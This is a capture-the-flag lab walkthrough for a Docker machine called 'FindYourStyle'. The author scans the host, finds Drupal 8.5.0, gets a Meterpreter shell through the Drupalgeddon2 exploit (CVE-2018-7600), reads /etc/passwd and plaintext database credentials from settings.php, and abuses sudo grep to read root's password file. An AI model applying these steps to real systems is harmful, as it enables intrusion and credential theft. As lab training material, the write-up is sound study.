

# FindYourStyle

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## Reconnaissance

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The target machine is correctly deployed inside the lab network (in this case, using Docker). To identify it, `arp-scan` was used to find devices on our docker network using the `docker0` interface

```
sudo arp-scan -I docker0 --localnet
Interface: docker0, type: EN10MB, MAC: 02:42:77:20:48:b6, IPv4: 172.17.0.1
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 65536 hosts (https://github.com/royhills/arp-scan)
172.17.0.3 02:46:tr:15:00:02 (Unknown: locally administered)
```

## Scanning

---

A **Nmap** scan was performed to identify open ports and services:

```
> nmap 172.17.0.3 -p- -sV -sC -Pn --min-rate 5000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-16 16:54 EDT
Nmap scan report for 172.17.0.3
```


```
Host is up (0.0000080s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
|_http-generator: Drupal 8 (https://www.drupal.org)
|_http-server-header: Apache/2.4.25 (Debian)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips/ /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-title: Welcome to Find your own Style | Find your own Style
MAC Address: 02:42:AC:11:00:03 (Unknown)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.07 seconds
```

Indicating a service running on port **80** using **Drupal**, a CMS in version 8.

## Enumeration

The web server was inspected from a browser looking for potential vulnerabilities, and the specific Drupal version was determined to be **8.5.0**



Directory enumeration was run with **Gobuster**; after encountering many results, filters were applied to consider only response codes from **200** to **300**.

```
> gobuster dir -u "172.17.0.3" -w /usr/share/seclists/Discovery/Web-Content/directory-
list-2.3-medium.txt -x php,txt,html,php.bak -t 20 -o gobuster.txt | grep -v "(Status:
403)"
=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://172.17.0.3
[+] Method: GET
[+] Threads: 20
```

```
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,txt,html,php.bak
[+] Timeout: 10s
```

```
=====
Starting gobuster in directory enumeration mode
=====
```

```
/index.php (Status: 200) [Size: 8860]
/contact (Status: 200) [Size: 12134]
/search (Status: 302) [Size: 360] [--> http://172.17.0.3/search/node]
/user (Status: 302) [Size: 356] [--> http://172.17.0.3/user/login]
/themes (Status: 301) [Size: 309] [--> http://172.17.0.3/themes/]
/modules (Status: 301) [Size: 310] [--> http://172.17.0.3/modules/]
/node (Status: 200) [Size: 8756]
/Search (Status: 302) [Size: 360] [--> http://172.17.0.3/search/node]
/sites (Status: 301) [Size: 308] [--> http://172.17.0.3/sites/]
/Contact (Status: 200) [Size: 12116]
/core (Status: 301) [Size: 307] [--> http://172.17.0.3/core/]
/install.php (Status: 301) [Size: 318] [--> http://172.17.0.3/core/install.php]
/profiles (Status: 301) [Size: 311] [--> http://172.17.0.3/profiles/]
/README.txt (Status: 200) [Size: 5889]
/robots.txt (Status: 200) [Size: 1596]
/LICENSE.txt (Status: 200) [Size: 18092]
/User (Status: 302) [Size: 356] [--> http://172.17.0.3/user/login]
/SEARCH (Status: 302) [Size: 360] [--> http://172.17.0.3/search/node]
/rebuild.php (Status: 301) [Size: 318] [--> http://172.17.0.3/core/rebuild.php]
/CONTACT (Status: 200) [Size: 12116]
/Node (Status: 200) [Size: 8756]
```

```
Progress: 1102785 / 1102785 (100.00%)
```

```
Finished
=====
```

A **user** directory was found containing a 3-tab form that performed different actions to manage users. It appeared to have **Insecure Design** issues since the existence of the user in the database could be confirmed.

← → ↺ 🏠 172.17.0.3/user/password ☆ 📧 ⬇️ 🔄 📄 ☰

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec >>

✖ admin@mail.com is not recognized as a username or an email address.

[Home](#)

Search

Reset your password


Log in Create new account Reset your password

Username or email address \*


admin@mail.com

Password reset instructions will be sent to your registered email address.

Submit



Other files such as `robots.txt` and `install.php` were reviewed and confirmed the installed version was **8.5.0**



Thanks to this, further research into CVEs affecting this version revealed an **RCE** that impacts the core and can be injected from forms — in this case possibly via `/Users` — so PoC tests were prepared to reproduce it against the target using Burp Suite.

46 results (260 ms)

Sort by: Best match ▾

🔖 Save



**a2u/CVE-2018-7600**

☆ Star

👤 Proof-of-Concept for CVE-2018-7600 Drupal SA-CORE-2018-002

drupal

exploit

poc

drupalgeddon2

cve-2018-7600

Python · ☆ 352 · Updated on Mar 29, 2019



**pimps/CVE-2018-7600**

☆ Star

Exploit for Drupal 7 <= 7.57 CVE-2018-7600

Python · ☆ 135 · Updated on Apr 26, 2018



**g0rx/CVE-2018-7600-Drupal-RCE**

☆ Star

CVE-2018-7600 Drupal RCE

Python · ☆ 114 · Updated on Apr 18, 2018



**dreadlocked/Drupalgeddon2**

☆ Star

Exploit for Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

drupal

exploit

drupal7

poc

drupal8

Ruby · ☆ 589 · Updated on Jan 8, 2021



**firefart/CVE-2018-7600**

Public archive

☆ Star

❤ Sponsor

CVE-2018-7600 - Drupal 7.x RCE

Python · ☆ 72 · Updated on Apr 18, 2018

URL	Method	Path	Status	Size	Content-Type	Action
http://172.17.0.3	GET	/user/register	200	38531	HTML	Create new
http://172.17.0.3	POST	/user/register	✓ 303	1008	HTML	Redirecting
http://172.17.0.3	POST	/user/register	✓			

RequestResponse

PrettyRawHex

82

83

84

85

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102

103

104

105

106

107

108

109

```

-----WebKitFormBoundaryyRBCmKTjJXs2oSmA
Content-Disposition: form-data; name="user_picture[0][display]"

1
-----WebKitFormBoundaryyRBCmKTjJXs2oSmA
Content-Disposition: form-data; name="form_build_id"

form-B60tlzNyZo1T0lSghIx179KWiZibw9kDkNNDij19NjM
-----WebKitFormBoundaryyRBCmKTjJXs2oSmA
Content-Disposition: form-data; name="form_id"

user_register_form
-----WebKitFormBoundaryyRBCmKTjJXs2oSmA
Content-Disposition: form-data; name="contact"

1
-----WebKitFormBoundaryyRBCmKTjJXs2oSmA
Content-Disposition: form-data; name="timezone"

UTC
-----WebKitFormBoundaryyRBCmKTjJXs2oSmA
Content-Disposition: form-data; name="op"

Create new account
-----WebKitFormBoundaryyRBCmKTjJXs2oSmA--

```

InspectorNotes

0 highlights

Memory: 124.3MB Disabled

## Exploitation

Additionally, payload searches for the relevant **CVE** and version were performed in Metasploit, turning up interesting findings such as [Drupalgeddon2](#) (written in Ruby). A test using Meterpreter produced a positive result.



```
meterpreter > ls
Listing: /var/www/html
=====

Mode                Size      Type      Last modified          Name
----                -
100644/rw-r--r--    1025     fil      2018-03-07 16:10:20 -0500 .csslintrc
100644/rw-r--r--     357     fil      2018-03-07 16:10:20 -0500 .editorconfig
100644/rw-r--r--     151     fil      2018-03-07 16:10:20 -0500 .eslintignore
100644/rw-r--r--      41     fil      2018-03-07 16:10:20 -0500 .eslintrc.json
100644/rw-r--r--    3858     fil      2018-03-07 16:10:20 -0500 .gitattributes
100644/rw-r--r--    2306     fil      2018-03-07 16:10:20 -0500 .ht.router.php
100644/rw-r--r--    7866     fil      2018-03-07 16:10:20 -0500 .htaccess
100644/rw-r--r--   18092     fil      2016-11-16 18:57:05 -0500 LICENSE.txt
100644/rw-r--r--    5889     fil      2018-03-07 16:10:20 -0500 README.txt
100644/rw-r--r--     262     fil      2018-03-07 16:10:20 -0500 autoload.php
100644/rw-r--r--    2740     fil      2018-03-07 16:10:20 -0500 composer.json
100644/rw-r--r--   161072     fil      2018-03-07 16:10:20 -0500 composer.lock
040755/rwxr-xr-x    4096     dir      2018-03-07 16:10:20 -0500 core
100644/rw-r--r--    1272     fil      2018-03-07 16:10:20 -0500 example.gitignore
100644/rw-r--r--     549     fil      2018-03-07 16:10:20 -0500 index.php
040755/rwxr-xr-x    4096     dir      2018-03-07 16:10:20 -0500 modules
040755/rwxr-xr-x    4096     dir      2018-03-07 16:10:20 -0500 profiles
100644/rw-r--r--    1596     fil      2018-03-07 16:10:20 -0500 robots.txt
040755/rwxr-xr-x    4096     dir      2018-03-07 16:10:20 -0500 sites
040755/rwxr-xr-x    4096     dir      2018-03-07 16:10:20 -0500 themes
100644/rw-r--r--     848     fil      2018-03-07 16:10:20 -0500 update.php
040755/rwxr-xr-x    4096     dir      2018-03-07 16:23:44 -0500 vendor
100644/rw-r--r--    4555     fil      2018-03-07 16:10:20 -0500 web.config

meterpreter > |
```

Then, using `whoami` it was determined the shell was running as `www-data`, so `/etc/passwd` was inspected to find potential users with `/bin/bash` access — the user `ballenita` was identified as a candidate.

```
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
ballenita:x:1000:1000:ballenita,,,:/home/ballenita:/bin/bash
```

The next step was to find the password. Filesystem enumeration focused on important configurations, and the most relevant result was the Drupal settings file.

```
find / -name settings.php 2>/dev/null
/var/www/html/sites/default/settings.php
```

```

find / -name settings.php 2>/dev/null
/var/www/html/sites/default/settings.php
cat /var/www/html/sites/default/settings.php
<?php

// @codingStandardsIgnoreFile

/**
 * @file
 * Drupal site-specific configuration file.
 *
 * IMPORTANT NOTE:
 * This file may have been set to read-only by the Drupal installation program.
 * If you make changes to this file, be sure to protect it again after making
 * your modifications. Failure to remove write permissions to this file is a
 * security risk.
 *
 * In order to use the selection rules below the multisite aliasing file named
 * sites/sites.php must be present. Its optional settings will be loaded, and
 * the aliases in the array $sites will override the default directory rules
 * below. See sites/example.sites.php for more information about aliases.
 *
 * The configuration directory will be discovered by stripping the website's
 * hostname from left to right and pathname from right to left. The first
 * configuration file found will be used and any others will be ignored. If no
 * other configuration file is found then the default configuration file at
 * 'sites/default' will be used.
 *
 * For example, for a fictitious site installed at
 * https://www.drupal.org:8080/mysite/test/, the 'settings.php' file is searched

```

```

* connections that Drupal may use. Drupal is able to connect
* to multiple databases, including multiple types of databases,
* during the same request.
*
* One example of the simplest connection array is shown below. To use the
* sample settings, copy and uncomment the code below between the @code and
* @endcode lines and paste it after the $databases declaration. You will need
* to replace the database username and password and possibly the host and port
* with the appropriate credentials for your database system.
*
* The next section describes how to customize the $databases array for more
* specific needs.
*
* @code
* $databases['default']['default'] = array (
*   'database' => 'database_under_beta_testing', // Mensaje del sysadmin, no se usar sql
y petó la base de datos jiji xd
*   'username' => 'ballenita',
*   'password' => 'ballenitafeliz', //Cuidadito cuidadín pillin
*   'host' => 'localhost',
*   'port' => '3306',
*   'driver' => 'mysql',
*   'prefix' => '',
*   'collation' => 'utf8mb4_general_ci',
* );
* @endcode
*/
$databases = array();

/**
 * Customizing database settings.
 *
 * Many of the values of the $databases array can be customized for your
 * particular database system. Refer to the sample in the section above as a

```

This revealed the database MySQL configuration password and the **ballenita** user.

## Privilege Escalation

Next, `su ballenita` was used to switch users with the password obtained from the configuration file.

```
www-data@430d587770d2:/var/www/html$ su ballenita
su ballenita
Password: ballenitafeliz
ballenita@430d587770d2:
```

Then `sudo -l` was executed to check allowed binaries; if nothing was allowed, SUID binaries would be searched. Fortunately, `/bin/ls` and `/bin/grep` were found, which were used to access `/root` and retrieve the root password.

```
ballenita@430d587770d2:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for ballenita on 430d587770d2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ballenita may run the following commands on 430d587770d2:
    (root) NOPASSWD: /bin/ls, /bin/grep
ballenita@430d587770d2:/var/www/html$ sudo ls -l /root
sudo ls -l /root
total 4
-rw-r--r-- 1 root root 35 Oct 16 2024 secretitomaximo.txt
ballenita@430d587770d2:/var/www/html$ sudo grep '' /root/secretitomaximo.txt
sudo grep '' /root/secretitomaximo.txt
nobodycanfindthispasswordrootrocks
ballenita@430d587770d2:/var/www/html$ su
su
Password: nobodycanfindthispasswordrootrocks
root@430d587770d2:/var/www/html# |
```

This allowed escalation and full control of the machine.

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